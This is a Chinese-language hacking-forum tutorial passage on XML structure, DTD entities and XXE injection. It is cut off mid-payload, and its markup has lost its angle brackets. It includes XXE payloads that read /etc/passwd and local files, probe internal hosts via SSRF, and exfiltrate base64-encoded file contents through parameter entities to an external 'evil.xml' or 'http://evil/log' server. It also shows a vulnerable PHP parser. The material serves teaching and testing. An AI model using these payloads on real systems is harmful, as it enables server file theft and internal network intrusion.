taibeihacker
Moderator
###XML与xxe注入基础知识
1.XMl定义
XML由3個部分構成,它們分別是:文檔類型定義(Document Type Definition,DTD),即XML的佈局語言;可擴展的樣式語言(Extensible Style Language,XSL),即XML的樣式表語言;以及可擴展鏈接語言(Extensible Link Language,XLL)。XML:可擴展標記語言,標准通用標記語言的子集,是一種用於標記電子文件使其具有結構性的標記語言。它被設計用來傳輸和存儲數據(而不是儲存數據),可擴展標記語言是一種很像超文本標記語言的標記語言。它的設計宗旨是傳輸數據,而不是顯示數據。它的標籤沒有被預定義。您需要自行定義標籤。它被設計為具有自我描述性。它是W3C的推薦標準。
可擴展標記語言(XML)和超文本標記語言(HTML)為不同的目的而設計
它被設計用來傳輸和存儲數據,其焦點是數據的內容。
超文本標記語言被設計用來顯示數據,其焦點是數據的外觀
2.XML的作用
XML使用元素和屬性來描述數據。在數據傳送過程中,XML始終保留了諸如父/子關係這樣的數據結構。幾個應用程序可以共享和解析同一個XML文件,不必使用傳統的字符串解析或拆解過程。相反,普通文件不對每個數據段做描述(除了在頭文件中),也不保留數據關係結構。使用XML做數據交換可以使應用程序更具有彈性,因為可以用位置(與普通文件一樣)或用元素名(從數據庫)來存取XML數據。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素
?xml version='1.0' encoding='UTF-8'?
!--⬆XML聲明⬆--
!DOCTYPE文件名[
!ENTITY實體名'實體內容'
]
!--⬆文檔類型定義(DTD)⬆--
元素名稱category='屬性'
文本或其他元素
/元素名稱
!--⬆文檔元素⬆--
3.xml格式说明
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。 XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD(文檔類型定義)的作用是定義XML 文檔的合法構建模塊。 DTD 可以在XML 文檔內聲明,也可以外部引用。
(1)内部声明DTD
!DOCTYPE根元素[元素聲明](2)引用外部DTD
!DOCTYPE根元素SYSTEM '文件名'或者!DOCTYPE根元素PUBLIC 'public_ID'
'文件名'
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。
(3)DTD的实体
l DTD的作用
DTD(文檔類型定義)的作用是定義XML文檔的合法構建模塊。 DTD可以在XML文檔內聲明,也可以外部引用。外部實體是指XML處理器必須解析的數據。它對於在多個文檔之間創建共享的公共引用很有用。對外部實體進行的任何更改將在包含對其的引用的文檔中自動更新。即XML使用外部實體將信息或“內容”將自動提取到XML文檔的正文中。為此,我們需要在XML文檔內部聲明一個外部實體
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。我們可以在內部確定其值(內部子集):

或從外部來源:(外部子集):

注意到SYSTEM標識符沒?該標識符意味著該實體將從外部來源獲取內容,在本例中,該內容是“site.com”下的一個頁面。
為了聲明這些實體,我們需要在文檔類型定義(DTD)中進行。 DTD是一組標記聲明,用於定義XML的文檔類型。它定義了XML文檔的合法結構塊和具有合法元素和屬性列表的文檔結構。 DTD可以在XML文檔內部聲明,也可以作為外部引用聲明—使用SYSTEM標識符指向可解析位置中的另一組聲明。 ENTITY可以使用SYSTEM關鍵字,調用外部資源,而這裡是支持很多的協議,如:http;file等,然後,在其他DoM結點中可以使用如:test;引用該實體內容.
那麼,如果在產品功能設計當中,解析的xml是由外部可控制的,那將可能形成,如:文件讀取,DoS,CSRF等漏洞.
如果要引用一個外部資源,可以藉助各種協議幾個例子:
file:///path/to/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
我們來看一個DTD的例子,一個在DTD裡面有一個SYSTEM標識符的實體:

l 内部声明实体
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,可以內部聲明或外部引用。一個內部實體聲明
!ENTITY實體名稱'實體的值'
例子
DTD:
!ENTITY writer 'me'
XML:
authorwriter;/author
註釋:一個實體由三部分構成:一個和號(),一個實體名稱,以及一個分號(

l 引用外部实体
一個外部實體聲明!ENTITY實體名稱SYSTEM 'URI/URL'
或者
!ENTITY實體名稱PUBLIC 'public_ID'
'URI'
例子
DTD:
!ENTITY writer SYSTEM
'http://example.com/dtd/writer.dtd'
XML:
authorwriter;/author
外部實體類型有

(4)CDATA
CDATA 指的是不應由XML 解析器進行解析的文本數據(Unparsed Character Data)。在XML 元素中,''
(新元素的開始)和'' (字符實體的開始)是非法的。
某些文本,比如JavaScript 代碼,包含大量'' 或'' 字符。為了避免錯誤,可以將腳本代碼定義為CDATA。
CDATA 部分中的所有內容都會被解析器忽略。
CDATA 部分由
'![CDATA[' 開始,由']]' 結束
4.xml的实体
XML 中的實體分為以下五種:字符實體,命名實體,外部實體,參數實體,內部實體,普通實體和參數實體都分為內部實體和外部實體兩種,外部實體定義需要加上SYSTEM關鍵字,其內容是URL所指向的外部文件實際的內容。如果不加SYSTEM關鍵字,則為內部實體,表示實體指代內容為字符串。(1)字符实体
指用十進制格式(#aaa

(2)命名实体
也稱為內部實體,在DTD 或內部子集(即文檔中!DOCTYPE語句的一部分)中聲明,在文檔中用作引用。在XML 文檔解析過程中,實體引用將由它的表示替代。?xml version='1.0' encoding='UTF-8' ?
!DOCTYPE ANY [
!ENTITY xxe SYSTEM 'file:///c://test/1.txt' ]
valuexxe;/value
?xml version='1.0' encoding='UTF-8' ?
!DOCTYPE ANY [
!ENTITY xxe SYSTEM 'http://otherhost/xxxx.php' ]
valuexxe;/value
可以用做xxe+ssrf
(3)外部实体
外部實體表示外部文件的內容,用SYSTEM 關鍵詞表示。!ENTITY test SYSTEM '1.xml'
有些XML文檔包含system標識符定義的“實體”,這些文檔會在DOCTYPE頭部標籤中呈現。這些定義的’實體’能夠訪問本地或者遠程的內容。比如,下面的XML文檔樣例就包含了XML ‘實體’。
?xml version='1.0' encoding='utf-8'?
!DOCTYPE Anything [
!ENTITY entityex SYSTEM 'file:///etc/passwd'
]
abcentityex;/abc
在上面的代碼中, XML外部實體‘entityex’ 被賦予的值為:file://etc/passwd。在解析XML文檔的過程中,實體’entityex’的值會被替換為URI(file://etc/passwd)內容值(也就是passwd文件的內容)。關鍵字’SYSTEM’會告訴XML解析器,’entityex’實體的值將從其後的URI中讀取,並把讀取的內容替換entityex出現的地方。
假如SYSTEM 後面的內容可以被用戶控制,那麼用戶就可以隨意替換為其他內容,從而讀取服務器本地文件(file:///etc/passwd)或者遠程文件(http://www.baidu.com/abc.txt)
(4)参数实体
參數實體只用於DTD 和文檔的內部子集中,XML的規範定義中,只有在DTD中才能引用參數實體. 參數實體的聲明和引用都是以百分號%。並且參數實體的引用在DTD是理解解析的,替換文本將變成DTD的一部分。該類型的實體用“%”字符(或十六進制編碼的%)聲明,並且僅在經過解析和驗證後才用於替換DTD中的文本或其他內容:
!ENTITY % 實體名稱'實體的值'
或者
!ENTITY % 實體名稱SYSTEM 'URI'
參數實體只能在DTD文件中被引用,其他實體在XML文檔內引用。即下面實例,參數實體在DOCTYPE內,其他實體在外
!DOCTYPE a [
!ENTITY % name SYSTEM “file:///etc/passwd”
%name;
]
參數實體在DTD中解析優先級高於xml內部實體
實體相當於變量“file:///etc/passwd”賦值給name
先寫一段簡單的xml利用代碼,以php為例子:
?php
$data=
file_get_contents('php://input');
$xml=
simplexml_load_string($data);
echo $xml-name;
?
echo $xml-name;中-name可以任意更改。
如下所示:

參數實體的示例:
!ENTITY實體名稱'實體的值'
?xml version='1.0'
encoding='UTF-8'?
!DOCTYPE root [
!ENTITY % param1 '!ENTITY
internal 'http://evil.com''
%param1;
]
root
test[This is my site]
internal;/test
/root
如:
!ENTITY % aaa
'233'
參數實體param1中包含內部實體的聲明,用於替代test標籤中的實體引用參數。
這裡,一定要注意流程,參數實體在DTD中解析是優先於XML文本中的內部實體解析。
參數實體有幾個特性,這幾個特性也決定了它能被利用的程度:
l 只能在DTD內部
l 立即引用
l 實體嵌套
(5)内部实体
內置實體為預留的實體,如:實體引用字符
lt;
gt;
amp;
quot; '
apos; '
而內部實體是指在一個實體中定義的另一個實體,也就是嵌套定義。
關於實體嵌套的情況,比較幸運的是DTD中支持單雙引號,所以可以通過單雙引號間隔使用作為區分嵌套實體和實體之間的關係;在實際使用中,我們通常需要再嵌套一個參數實體,%號是需要處理成#37;如下:
!ENTITY % param1
'!ENTITY % xxe SYSTEM 'http://evil/log?%payload;' '
#37;也可寫為16進制#x25;
另:內部實體的這支持與否也是取決於解釋器的,參考鏈接4
(6)命名实体+外部实体写法
?xml version='1.0' encoding='utf-8'?!DOCTYPE root [
!ENTITY dtd SYSTEM 'http://localhost:88/evil.xml'
]
valuedtd;/value
這種命名實體調用外部實體,發現evil.xml中不能定義實體,否則解析不了,感覺命名實體好雞肋,參數實體就好用很多
(7)第一种命名实体+外部实体+参数实体写法
?xml version='1.0' encoding='utf-8'?!DOCTYPE data [
!ENTITY % file SYSTEM 'file:///c://test/1.txt'
!ENTITY % dtd SYSTEM 'http://localhost:88/evil.xml'
%dtd; %all;
]
valuesend;/value
其中evil.xml文件內容為
!ENTITY % all '!ENTITY send SYSTEM 'http://localhost:88%file;''
調用過程為:參數實體dtd調用外部實體evil.xml,然後又調用參數實體all,接著調用命名實體send
(8)第二种命名实体+外部实体+参数实体写法
?xml version='1.0' encoding='utf-8'?!DOCTYPE root [
!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=c:/test/1.txt'
!ENTITY % dtd SYSTEM 'http://localhost:88/evil.xml'
%dtd;
%send;
]
root/root
其中evil.xml文件內容為:
!ENTITY % payload '!ENTITY #x25; send SYSTEM 'http://localhost:88/?content=%file;'' %payload;
調用過程和第一種方法類似
5.XML中的协议支持

上圖是默認支持協議,還可以支持其他,如PHP支持的擴展協議有
6.xxe注入定义
XXE注入,即XML External Entity,XML外部實體注入。通過XML 實體,”SYSTEM”關鍵詞導致XML 解析器可以從本地文件或者遠程URI 中讀取數據。所以攻擊者可以通過XML 實體傳遞自己構造的惡意值,是處理程序解析它。當引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。ENTITY 實體,在一個甚至多個XML文檔中頻繁使用某一條數據,我們可以預先定義一個這條數據的“別名”,即一個ENTITY,然後在這些文檔中需要該數據的地方調用它。 XML定義了兩種類型的ENTITY,一種在XML文檔中使用
若是在PHP中,libxml_disable_entity_loader設置為TRUE可禁用外部實體注。入另一種作為參數在DTD文件中使用。 ENTITY的定義語法:
!DOCTYPE 文件名[
!ENTITY 實體名'實體內容'
]
定義好的ENTITY在文檔中通過“實體名;”來使用。舉例:
?xml version='1.0' encoding='UTF-8'?
!DOCTYPE booklist [
!ENTITY publisher 'ABC company'
]
booklist
book
nameAjax/name
price$5.95/price
descriptionFoundations of Ajax./description
publisherpublisher;/publisher 這裡的publisher;會被“ABC company”替換
/book
book
nameAjax Patterns/name
price$7.95/price
descriptionIntroduction of Ajax Patterns./description
publisherpublisher;/publisher 這裡的publisher;會被“ABC company”替換
/book
/booklist
在XML 中有5 個預定義的實體引用:
lt;
小於
gt;
大於
amp;
和號
apos;
'
省略號
quot;
'
引號
註釋:嚴格地講,在XML 中僅有字符''和'' 是非法的。省略號、引號和大於號是合法的,但是把它們替換為實體引用是個好的習慣。
7.XXE漏洞原理
既然XML可以從外部讀取DTD文件,那我們就自然地想到瞭如果將路徑換成另一個文件的路徑,那麼服務器在解析這個XML的時候就會把那個文件的內容賦值給SYSTEM前面的根元素中,只要我們在XML中讓前面的根元素的內容顯示出來,不就可以讀取那個文件的內容了。這就造成了一個任意文件讀取的漏洞。那如果我們指向的是一個內網主機的端口呢?是否會給出錯誤信息,我們是不是可以從錯誤信息上來判斷內網主機這個端口是否開放,這就造成了一個內部端口被探測的問題。另外,一般來說,服務器解析XML有兩種方式,一種是一次性將整個XML加載進內存中,進行解析;另一種是一部分一部分的、“流式”地加載、解析。如果我們遞歸地調用XML定義,一次性調用巨量的定義,那麼服務器的內存就會被消耗完,造成了拒絕服務攻擊。
###XML注入简单利用
構造本地xml接口,先包含本地xml文件,查看返回結果,正常返回後再換為服務器。1.任意文件读取
payload如下:?xml version='1.0' encoding='utf-8'?
!DOCTYPE xxe [
!ELEMENT name ANY
!ENTITY xxe SYSTEM 'file:///D://phpStudy//WWW//aa.